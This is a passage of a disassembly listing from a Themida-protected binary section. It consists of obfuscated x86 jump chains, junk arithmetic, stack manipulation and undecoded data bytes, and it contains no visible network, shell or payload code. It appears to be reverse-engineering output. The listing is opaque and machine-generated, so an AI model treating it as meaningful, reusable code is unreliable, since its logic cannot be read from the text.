; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 575E5424h, 0FC0CEFBFh, 0FF78132h
		dd 0E9496517h, 1149h
; ---------------------------------------------------------------------------

loc_55AA88:				; CODE XREF: Themida_:0055B724j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55AA8D:				; CODE XREF: Themida_:00564D26j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_56A5D1
; ---------------------------------------------------------------------------

loc_55AA9D:				; CODE XREF: Themida_:0055BB48j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		jmp	loc_55EAA8
; ---------------------------------------------------------------------------

loc_55AAAC:				; CODE XREF: Themida_:0056A591j
		shr	edi, 1
		jnp	loc_55DE0F
		shl	edi, 5
		jnp	loc_556713
		jnb	loc_55881A

loc_55AAC3:				; CODE XREF: Themida_:00566F77j
		pop	edx
		add	esi, 2E817FC6h
		add	esi, eax
		sub	esi, 2E817FC6h
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_557EAC
; ---------------------------------------------------------------------------

loc_55AAE1:				; CODE XREF: Themida_:0055922Ej
		push	62EFh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55BF5E
; ---------------------------------------------------------------------------

loc_55AAF6:				; CODE XREF: Themida_:loc_558826j
		jmp	loc_5697BA
; ---------------------------------------------------------------------------

loc_55AAFB:				; CODE XREF: Themida_:0056262Dj
		xor	ecx, 3E09707Dh
		inc	ecx
		sub	ecx, 31FD9F85h
		or	edi, ecx
		pop	ecx
		add	edi, 0DB2DC0DFh
		mov	eax, edi
		pop	edi
		add	ecx, eax
		pop	eax
		jmp	loc_556830
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 193E900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55AB2A:				; CODE XREF: Themida_:00563902j
		js	loc_566370
		add	bl, 0C0h
		mov	ch, bl
		pop	ebx
		mov	ah, ch
		jmp	loc_55A7AE
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0E9h
		dd 5F00h
; ---------------------------------------------------------------------------

loc_55AB44:				; CODE XREF: Themida_:0056639Cj
		sub	ebx, 46CC756Eh
		inc	ebx
		xor	ebx, 33134582h
		add	ebx, 6C1B3D2Dh
		push	ebp
		mov	ebp, 2E817854h
		or	ebx, ebp
		pop	ebp
		add	ebx, 0BE1B4332h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	eax
		xor	eax, 32692536h
		dec	eax
		jmp	loc_55DA39
; ---------------------------------------------------------------------------

loc_55AB7D:				; CODE XREF: Themida_:0055A4E4j
		add	esi, 420260FBh
		jmp	loc_56C15D
; ---------------------------------------------------------------------------

loc_55AB88:				; CODE XREF: Themida_:0056A34Ej
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_55A94F
; ---------------------------------------------------------------------------
		dw 8966h
		dd 665A66D3h, 51E9DD89h
		db 12h,	1, 0
; ---------------------------------------------------------------------------

loc_55ABA3:				; CODE XREF: Themida_:00567E3Dj
		pop	edx
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
byte_55ABB5	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00556244o
		dd 9ABB5357h, 8110BA04h, 721C0CEBh, 61870F44h, 81FFFFB7h
		dd 751668C3h, 0B73DE92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55ABD6:				; CODE XREF: Themida_:005645BBj
		add	esp, 4
		push	ecx
		push	edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55E8E3
; ---------------------------------------------------------------------------

loc_55ABEC:				; CODE XREF: Themida_:00568CDEj
		push	edx
		mov	edx, 3DF31D3Eh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_56B774
; ---------------------------------------------------------------------------

loc_55AC03:				; CODE XREF: Themida_:0055C472j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5662A1
; ---------------------------------------------------------------------------

loc_55AC20:				; CODE XREF: Themida_:00557969j
		shr	ebx, 2
		jmp	loc_56BE7E
; ---------------------------------------------------------------------------

loc_55AC28:				; CODE XREF: Themida_:00567D1Ej
		pop	ebx
		jmp	loc_56AFB6
; ---------------------------------------------------------------------------

loc_55AC2E:				; CODE XREF: Themida_:00562B5Fj
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_561D5B
; ---------------------------------------------------------------------------

loc_55AC3A:				; CODE XREF: Themida_:00557514j
		mov	[esp], edx
		mov	edx, 20853FCAh
		dec	edx
		jge	loc_55709D
		jmp	loc_563494
; ---------------------------------------------------------------------------
aSz		db '\И╖]',0
		align 4
		db 89h,	0FDh
; ---------------------------------------------------------------------------

loc_55AC56:				; CODE XREF: Themida_:0056347Ej
		sub	dl, 71h
		jmp	loc_56429C
; ---------------------------------------------------------------------------

loc_55AC5E:				; CODE XREF: Themida_:0055C62Cj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56A600
; ---------------------------------------------------------------------------

loc_55AC67:				; CODE XREF: Themida_:0055EFD7j
		sub	edi, 2E607D81h
		sub	edi, ebx
		add	edi, 2E607D81h
		add	edi, 0EC27F50h
		pop	ebx
		add	edi, esi
		push	ebx
		jmp	loc_56A8B8
; ---------------------------------------------------------------------------

loc_55AC84:				; CODE XREF: Themida_:0055E039j
		or	edi, eax
		pop	eax
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		inc	ebx
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		push	eax
		mov	eax, 10CF58EAh
		add	eax, 0E7948CBh
		sub	edi, 32684918h
		sub	edi, eax
		push	esi
		mov	esi, 32684918h
		jmp	loc_55C4B9
; ---------------------------------------------------------------------------

loc_55ACB2:				; CODE XREF: Themida_:005637CEj
		sub	edi, 25253E3Ch
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5693F6
; ---------------------------------------------------------------------------

loc_55ACD5:				; CODE XREF: Themida_:0055EEB6j
		push	3AFE368Dh
		pop	ebp
		and	ebp, 5E9867FCh
		jo	loc_55989E
		jmp	loc_55E309
; ---------------------------------------------------------------------------

loc_55ACEC:				; CODE XREF: Themida_:00562571j
		sub	[esp+8], ebx
		jmp	loc_568AAA
; ---------------------------------------------------------------------------
		db 1, 0FAh, 0E9h
		dd 0FFFFD498h
; ---------------------------------------------------------------------------

loc_55ACFC:				; CODE XREF: Themida_:0056B933j
		push	ebx
		push	31D53EB0h
		jmp	loc_557F31
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89532404h, 941FE9E3h, 0EEC10000h, 7BE68108h,	524AAB76h
		dd 0A5430BAh, 0DF48E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AD26:				; CODE XREF: Themida_:0056C665j
		pop	esp
		jmp	loc_568B10
; ---------------------------------------------------------------------------
dword_55AD2C	dd 24048B66h, 3E1168h, 242C8900h, 961FE9h ; DATA XREF: Themida_:005560ACo
		db 0
; ---------------------------------------------------------------------------

loc_55AD3D:				; CODE XREF: Themida_:0056942Cj
					; Themida_:loc_569536j
		or	dh, 6Ch
		shr	dh, 2
		jnz	loc_56CB42
		and	dh, 0F3h
		jg	loc_55853C
		mov	edx, esi
		mov	ch, al

loc_55AD56:				; CODE XREF: Themida_:0056C178j
		add	ebx, eax
		push	ebp
		mov	ebp, 0D187092h
		shr	ebp, 4
		add	ebp, 796EBED6h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55FE23
; ---------------------------------------------------------------------------

loc_55AD6F:				; CODE XREF: Themida_:005612E9j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		push	eax
		mov	al, 21h
		not	al
		add	al, 76h
		mov	cl, al
		pop	eax
		dec	cl
		push	dx
		mov	dl, 1Ch
		xor	cl, dl
		pop	dx
		jmp	loc_56A832
; ---------------------------------------------------------------------------

loc_55AD90:				; CODE XREF: Themida_:005588B3j
		mov	esp, [esp]
		jmp	loc_561C0C
; ---------------------------------------------------------------------------
		dd 0E906E3C1h, 11033h, 22FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55ADA5:				; CODE XREF: Themida_:00568E1Cj
		dec	bl
		jo	loc_56006D
		jmp	loc_5638FC
; ---------------------------------------------------------------------------

loc_55ADB2:				; CODE XREF: Themida_:00556848j
		xor	esi, 0C62BEE5Fh
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_563428
; ---------------------------------------------------------------------------

loc_55ADCF:				; CODE XREF: Themida_:00559988j
		pop	eax
		add	esp, 4
		add	ecx, edi
		sub	esp, 4
		jmp	loc_5575C4
; ---------------------------------------------------------------------------
		dd 89C78159h, 1888286h,	0EC15E9FAh, 487FFFFh, 74FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55ADF6:				; CODE XREF: Themida_:0056A879j
		mov	edx, 6AF62174h
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		inc	esi
		xchg	esi, edx
		jmp	loc_55EE49
; ---------------------------------------------------------------------------

loc_55AE09:				; CODE XREF: Themida_:0055AA0Bj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5623D6
; ---------------------------------------------------------------------------
aBiBVzhs	db '│К~b+vZhА;',0
		align 10h
		dd 56242C89h, 2BEh, 5EF58900h, 34FFEB01h, 54565D24h, 4C6815Eh
		dd 83000000h, 348704C6h, 1C875C24h, 1AA7E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55AE4A:				; CODE XREF: Themida_:005641E0j
		mov	[esp], ecx
		mov	ch, 5
		jmp	loc_560915
; ---------------------------------------------------------------------------

loc_55AE54:				; CODE XREF: Themida_:00556D66j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	5F84h
		jmp	loc_561A7D
; ---------------------------------------------------------------------------

loc_55AE64:				; CODE XREF: Themida_:0055B8C7j
		sub	ebx, 1BB32B19h
		pop	ecx
		jmp	loc_56B364
; ---------------------------------------------------------------------------

loc_55AE70:				; CODE XREF: Themida_:00566C37j
		xor	dl, 0C0h
		sub	bh, dl
		pop	edx
		xor	al, bh
		push	dword ptr [esp]
		pop	ebx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	27FDh
		mov	[esp], ecx
		mov	ecx, 4FC553CBh
		sub	ecx, 38520B89h
		jmp	loc_566CE2
; ---------------------------------------------------------------------------

loc_55AE9D:				; CODE XREF: Themida_:0055E646j
		pop	edi
		and	ebp, 4662440Dh
		push	ecx
		mov	ecx, 6C6520FCh
		xor	ecx, 2F131A17h
		or	ecx, offset asc_5C5739 ; "ллллллллллллллллллллллллллллллллллллллл"...
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3C405B00h
		inc	esi
		shr	esi, 4
		shl	esi, 2
		neg	esi
		or	esi, 38EF7C12h
		jmp	loc_5697ED
; ---------------------------------------------------------------------------

loc_55AED5:				; CODE XREF: Themida_:00565270j
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 6743C0Ah
		add	ebp, ebx
		add	ebp, 6743C0Ah
		mov	ebx, [esp]
		jmp	loc_56197F
; ---------------------------------------------------------------------------

loc_55AEFE:				; CODE XREF: Themida_:005595FCj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 31h,	0CEh, 0E9h
		dd 10DDh
; ---------------------------------------------------------------------------

loc_55AF1C:				; CODE XREF: Themida_:0055DC52j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		jmp	loc_56579E
; ---------------------------------------------------------------------------

loc_55AF2B:				; CODE XREF: Themida_:00560403j
		add	esp, 4
		jmp	loc_56210B
; ---------------------------------------------------------------------------

loc_55AF33:				; CODE XREF: Themida_:0056A550j
		and	ebp, 231D160Ch
		add	ebp, 0DFF3FA04h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	6608h
		mov	[esp], ebx
		mov	ebx, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24h
		push	ebp
		mov	ebp, 5E57344Fh
		add	edx, ebp
		pop	ebp
		jmp	loc_561026
; ---------------------------------------------------------------------------

loc_55AF70:				; CODE XREF: Themida_:00562134j
		not	ebp
		jmp	loc_5563CE
; ---------------------------------------------------------------------------

loc_55AF77:				; CODE XREF: Themida_:0055CCBEj
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_56417E
; ---------------------------------------------------------------------------

loc_55AF7F:				; CODE XREF: Themida_:005635FAj
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_56D513
; ---------------------------------------------------------------------------

loc_55AF89:				; CODE XREF: Themida_:0056CCCEj
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	eax, 9A6DC9CCh
		push	esi
		mov	esi, eax
		jmp	loc_558669
; ---------------------------------------------------------------------------

loc_55AF9C:				; CODE XREF: Themida_:005570A3j
					; Themida_:00568139j
		sub	esp, 4
		mov	[esp], ebx
		push	7BCC5977h
		jmp	loc_558573
; ---------------------------------------------------------------------------

loc_55AFAC:				; CODE XREF: Themida_:0055CE7Bj
		pop	edi
		add	edi, 54E93142h
		push	edx
		mov	edx, edi
		mov	ebx, edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	1553h
		jmp	loc_561E4C
; ---------------------------------------------------------------------------
		dd 0F02E3C1h, 282585h, 8EBC100h, 9F1840Fh, 55B30000h
; ---------------------------------------------------------------------------

loc_55AFE8:				; CODE XREF: Themida_:00562549j
		sub	edx, 39BE36AFh
		add	edx, edi
		jmp	loc_5642E0
; ---------------------------------------------------------------------------

loc_55AFF5:				; CODE XREF: Themida_:00566232j
		shr	ebx, 2
		jmp	loc_55E0AE
; ---------------------------------------------------------------------------

loc_55AFFD:				; CODE XREF: Themida_:0055A5A9j
		sub	ecx, edi
		sub	ecx, 4435703Ah
		mov	edi, [esp]
		jmp	loc_5615A7
; ---------------------------------------------------------------------------

loc_55B00D:				; CODE XREF: Themida_:0056279Cj
		add	esp, 4
		push	ax
		mov	ah, 4Ch
		push	ecx
		mov	cl, 0D8h
		sub	cl, 0CAh
		add	cl, 53h
		sub	bl, cl
		pop	ecx
		add	bl, 39h
		sub	bl, ah
		sub	bl, 39h
		add	bl, 61h
		pop	ax
		sub	bl, al
		push	3DE3h
		mov	[esp], eax
		mov	ah, 8
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5595D4
; ---------------------------------------------------------------------------
		dd 671F68h, 0F020E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B056:				; CODE XREF: Themida_:0055D1F1j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4F4427B5h
		not	ebx
		push	ebx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		not	ecx
		jmp	loc_56A028
; ---------------------------------------------------------------------------

loc_55B07D:				; CODE XREF: Themida_:00566E15j
		add	eax, 946C289Ah
		or	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		inc	ecx
		jg	loc_568180
		jmp	loc_56B1D7
; ---------------------------------------------------------------------------
		db 68h,	0Bh, 57h
		dd 5659210Ch, 33241C31h, 59E9241Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B0AB:				; CODE XREF: Themida_:00557764j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55B0B0:				; CODE XREF: Themida_:0055F180j
		pop	esp
		jmp	loc_55B89F
; ---------------------------------------------------------------------------

loc_55B0B6:				; CODE XREF: Themida_:00558C80j
		push	esi
		mov	esi, 4
		sub	ebx, 1B1C4E54h
		sub	ebx, esi
		add	ebx, 1B1C4E54h
		jmp	loc_5604E6
; ---------------------------------------------------------------------------
		db 1
		dd 0E7C159CFh, 4EC8108h, 89000000h, 56BB241Ch, 8142F424h
		dd 0A8089EF3h, 77ADE960h, 0D1310000h, 59CD295Ah, 8324148Bh
		dd 0E95A04C4h, 74C2h, 0F187D6F7h, 1C181h, 0E1C10000h, 0B1B85004h
		dd 0E914473Ch, 2DAh
dword_55B118	dd 5624048Bh, 0E904EC83h, 0FFFFDD57h, 4EF81h, 0D1E90000h
					; DATA XREF: Themida_:00556034o
		dd 2D000038h, 3D017273h, 6D9ABD55h, 0F5812A22h,	4B2823B2h
		dd 715C68h, 243C8900h, 52E3B951h, 0E9C14674h, 30E18102h
		dd 0F744F504h, 24C981D1h, 0F7186C41h, 2FC181D1h, 8905541Bh
		dd 177DE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B16E:				; CODE XREF: Themida_:0056ADC1j
		add	ecx, esi
		jmp	loc_558B8E
; ---------------------------------------------------------------------------
byte_55B175	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:0055608Co
		dd 1C8B5453h, 935E924h,	0C4BE0000h, 0E921EF7Dh,	119ABh
		dd 927C0ABEh, 0EDE95753h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B197:				; CODE XREF: Themida_:005626C6j
					; DATA XREF: Themida_:00556084o
		mov	ax, [esp]
		push	eax
		push	2E86h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55C49A
; ---------------------------------------------------------------------------

loc_55B1AA:				; CODE XREF: Themida_:0056D175j
		add	esp, 4
		push	edi
		mov	edi, 757A0C0Bh
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_562412
; ---------------------------------------------------------------------------

loc_55B1BD:				; CODE XREF: Themida_:00559162j
		jmp	loc_566C16
; ---------------------------------------------------------------------------
word_55B1C2	dw 8968h		; DATA XREF: Themida_:00556050o
		dd 89000014h, 89522404h, 0F35CE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B1D2:				; CODE XREF: Themida_:00562195j
		mov	eax, 53F62587h
		add	[esp+8], eax
		pop	eax
		jmp	loc_559F87
; ---------------------------------------------------------------------------

loc_55B1E1:				; CODE XREF: Themida_:loc_568017j
		or	ecx, 30253A68h
		jnp	loc_5623AD
		push	esi
		mov	esi, 3F804963h
		add	ecx, esi
		jmp	loc_56D596
; ---------------------------------------------------------------------------
		dw 5A5Bh
		dd 0EB315468h, 0D8F75816h, 0BA7B870Fh, 4925FFFFh, 356B275Ch
		dd 56FE66F8h, 0BF58C389h, 0F596F4E4h, 0EC3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B221:				; CODE XREF: Themida_:005654CFj
		not	ecx
		xor	ecx, 7FBC0B39h
		dec	ecx
		jmp	loc_557036
; ---------------------------------------------------------------------------

loc_55B22F:				; CODE XREF: Themida_:0055CBBAj
					; Themida_:00566202j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56513F
; ---------------------------------------------------------------------------

loc_55B242:				; CODE XREF: Themida_:0055BEDEj
		jmp	loc_55EEDD
; ---------------------------------------------------------------------------

loc_55B247:				; CODE XREF: Themida_:00568B42j
		push	ecx
		mov	ecx, 3DBF4E7Eh
		jmp	loc_55D9EB
; ---------------------------------------------------------------------------
aKsg		db 'KИG]',0
		align 4

loc_55B258:				; CODE XREF: Themida_:0055D919j
		dec	ebx
		jnz	loc_560B1E
		jmp	loc_56AFCA
; ---------------------------------------------------------------------------
		dd 415BD929h, 0BB3475B3h, 0F75FFA89h, 0BDF0E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B276:				; CODE XREF: Themida_:0055671Dj
		pop	ebx
		mov	edx, [esp]
		jmp	loc_56686A
; ---------------------------------------------------------------------------
byte_55B27F	db 0ADh			; DATA XREF: Themida_:005561A4o
		dd 0B222512Dh, 52D8014Ch, 0FFDEC9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B28D:				; CODE XREF: Themida_:00556568j
		neg	ebp
		inc	ebp
		or	ebp, 0ED62AA1h
		push	esi
		mov	esi, 67F608D4h
		jmp	loc_567A67
; ---------------------------------------------------------------------------

loc_55B2A1:				; CODE XREF: Themida_:0055886Aj
					; DATA XREF: Themida_:00556154o
		push	dword ptr [esp]
		jmp	loc_557974
; ---------------------------------------------------------------------------

loc_55B2A9:				; CODE XREF: Themida_:loc_567092j
		xor	dword ptr [edx+30h], 374564E2h
		jz	loc_568661
		push	ebx
		push	0D928B085h
		pop	ebx
		sub	[edx+30h], ebx
		pop	ebx
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFB01EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B2C9:				; CODE XREF: Themida_:005589BEj
		or	ebp, 37F250Bh
		jmp	loc_556FE4
; ---------------------------------------------------------------------------

loc_55B2D4:				; CODE XREF: Themida_:0055D384j
		mov	ecx, 10E2E5C5h
		mov	ebx, ecx
		jmp	loc_560396
; ---------------------------------------------------------------------------

loc_55B2E0:				; CODE XREF: Themida_:0056D45Cj
		push	77D90C8Dh
		jmp	loc_567CBF
; ---------------------------------------------------------------------------

loc_55B2EA:				; CODE XREF: Themida_:0056BBE9j
		pop	esp
		push	5ED3h
		mov	[esp], esi
		jmp	loc_556E2E
; ---------------------------------------------------------------------------

loc_55B2F8:				; CODE XREF: Themida_:00567C4Cj
		sub	esi, 8F82DE5Dh
		mov	edi, esi
		pop	esi
		sub	edi, 68171BF2h
		sub	ebp, 2C347779h
		add	ebp, edi
		push	ecx
		mov	ecx, 2C347779h
		add	ebp, ecx
		jmp	loc_56385C
; ---------------------------------------------------------------------------
dword_55B31C	dd 0EFF05ADh, 0D829670Ch, 1F47BB53h, 0C381117Eh, 3D1E26A3h
					; DATA XREF: Themida_:005560A0o
		dd 90A5800Fh, 0F3810000h, 47DF5ECEh, 828D840Fh,	0E2E90000h
		dd 5B0000CEh, 18C168h, 240C8900h, 1C63F2B9h, 0E9D1F76Eh
		dd 3BCDh, 0C581E589h, 4, 8704C583h, 40E9242Ch
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B36F:				; CODE XREF: Themida_:loc_55BAE0j
		inc	esi
		jmp	loc_568CA6
; ---------------------------------------------------------------------------
		db 59h,	83h, 0ECh
		dd 241C8904h, 0CE17E9h,	0F8E28100h, 0F43E260h, 238F8Fh
		dd 5E2C100h, 0C51CE9h, 0E9753400h, 0FFFFEF0Dh
; ---------------------------------------------------------------------------

loc_55B39C:				; CODE XREF: Themida_:00562E7Ej
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_568113
; ---------------------------------------------------------------------------

loc_55B3AA:				; CODE XREF: Themida_:0056B5D0j
		and	esi, 43011CC9h
		jb	loc_557734
		inc	esi
		jno	loc_56512D
		not	esi
		xor	esi, 9A208CB7h
		mov	edi, esi
		push	ebx

loc_55B3C8:				; CODE XREF: Themida_:0055F297j
		mov	ecx, 1E0238DAh
		push	33B2h
		mov	[esp], edx
		push	2911h
		mov	[esp], edi
		push	12581A05h
		pop	edi
		not	edi
		add	edi, 1BF35086h
		push	edi
		pop	edx
		jmp	loc_5654C6
; ---------------------------------------------------------------------------
		dw 0C305h
		dd 1D5B1D2h, 0C385E9C1h, 0C2340000h, 0C3885352h, 885BDA88h
		dd 0A2E95AD5h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B40F:				; CODE XREF: Themida_:00562955j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55C1D1
; ---------------------------------------------------------------------------
		db 87h
		dd 1E9240Ch
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B427:				; CODE XREF: Themida_:0055F0D7j
		mov	dh, cl
		jmp	loc_55F0C5
; ---------------------------------------------------------------------------

loc_55B42E:				; CODE XREF: Themida_:005635DEj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_567429
; ---------------------------------------------------------------------------

loc_55B43D:				; CODE XREF: Themida_:00562B55j
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		add	ecx, 4
		jmp	loc_56BD48
; ---------------------------------------------------------------------------

loc_55B452:				; CODE XREF: Themida_:00567A95j
		sub	ebx, 262718EEh
		sub	ebx, eax
		jmp	loc_56A081
; ---------------------------------------------------------------------------

loc_55B45F:				; CODE XREF: Themida_:005628BAj
		sub	edi, eax
		jmp	loc_55FAD7
; ---------------------------------------------------------------------------

loc_55B466:				; CODE XREF: Themida_:0056C856j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	ebx
		jmp	loc_567FAB
; ---------------------------------------------------------------------------

loc_55B482:				; CODE XREF: Themida_:00558821j
		mov	ebx, [esp]
		jmp	loc_566B3F
; ---------------------------------------------------------------------------
		dw 2B9h
		dd 0E9000000h, 0FFFFF014h, 0A34B4BEh, 8BF0296Dh, 0C4832434h
		dd 0CE27E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B4A6:				; CODE XREF: Themida_:0055EF41j
		mov	esi, 3D3F13B4h
		push	eax
		mov	eax, 19535EC7h
		add	ebp, eax
		pop	eax
		jmp	loc_56CD19
; ---------------------------------------------------------------------------

loc_55B4B9:				; CODE XREF: Themida_:0056267Dj
		push	ebp
		jmp	loc_565275
; ---------------------------------------------------------------------------

loc_55B4BF:				; CODE XREF: Themida_:00562FE6j
		mov	esi, 5659775Ch
		shl	esi, 4
		neg	esi
		push	edi
		jmp	loc_55DA49
; ---------------------------------------------------------------------------

loc_55B4CF:				; CODE XREF: Themida_:005590F3j
					; Themida_:00569350j
		add	al, 8Bh
		push	0E2Ch
		mov	[esp], eax
		mov	al, 1
		jmp	loc_5579C3
; ---------------------------------------------------------------------------

loc_55B4E0:				; CODE XREF: Themida_:0056146Bj
		jmp	loc_556DC8
; ---------------------------------------------------------------------------
		db 3 dup(43h)
		dd 29ECEB81h, 0DF0171A1h, 5B2434FFh, 627FE9h, 0F61DB100h
		dd 83D1F6D1h, 0ABE904ECh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B507:				; CODE XREF: Themida_:00569D8Cj
		add	ebx, 477801D4h
		add	ebx, edx
		sub	ebx, 477801D4h
		jmp	loc_566807
; ---------------------------------------------------------------------------

loc_55B51A:				; CODE XREF: Themida_:00560B2Dj
		add	eax, 3B54780Ch
		add	eax, ecx
		sub	eax, 3B54780Ch
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_55F5FF
; ---------------------------------------------------------------------------
		db 89h
		dd 4685FFEh, 89000063h,	0FBBF243Ch, 0E9752D53h,	10FBDh
; ---------------------------------------------------------------------------

loc_55B54C:				; CODE XREF: Themida_:005619D9j
		sub	ax, 5BAAh
		pop	ebx
		mov	cx, [esp]
		push	6052h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_567A21
; ---------------------------------------------------------------------------
		dd 88E95346h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B56B:				; CODE XREF: Themida_:0056AC3Fj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56A46F
; ---------------------------------------------------------------------------

loc_55B57B:				; CODE XREF: Themida_:005661E6j
		jmp	loc_5686B2
; ---------------------------------------------------------------------------

loc_55B580:				; CODE XREF: Themida_:005633BEj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		push	eax
		mov	eax, 18B86473h
		push	ebp
		mov	ebp, 11A06B16h
		and	ebp, 4B315A75h
		shl	ebp, 6
		xor	ebp, 4DAE62F4h
		dec	ebp
		or	ebp, 12811EAAh
		sub	ebp, 0BB655743h
		jmp	loc_566F26
; ---------------------------------------------------------------------------

loc_55B5C0:				; CODE XREF: Themida_:0055A0EBj
		mov	esp, [esp]
		sub	al, cl
		push	small 28EAh
		mov	[esp], bx
		jmp	loc_55FF58
; ---------------------------------------------------------------------------

loc_55B5D2:				; CODE XREF: Themida_:0055F718j
		xor	ebp, 72CC6BD8h
		add	ebp, 0CA1B21E8h
		jmp	loc_56A699
; ---------------------------------------------------------------------------

loc_55B5E3:				; CODE XREF: Themida_:0055952Fj
					; Themida_:00563347j
		mov	[esp], eax
		push	ebx
		mov	bh, 8Ch
		mov	ah, 0E8h
		add	ah, bh
		pop	ebx
		push	edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55C5D2
; ---------------------------------------------------------------------------

loc_55B612:				; CODE XREF: Themida_:00561BAFj
		sub	ebx, 27B32815h
		add	ebx, 1F285CE7h
		pop	ebp
		add	ebx, edi
		push	eax
		mov	eax, 251B560Dh
		jmp	loc_55A99B
; ---------------------------------------------------------------------------
aEh8		db 'Ehщ8',0
		align 2
		dd offset dword_5147D4+515h
		db 0
; ---------------------------------------------------------------------------

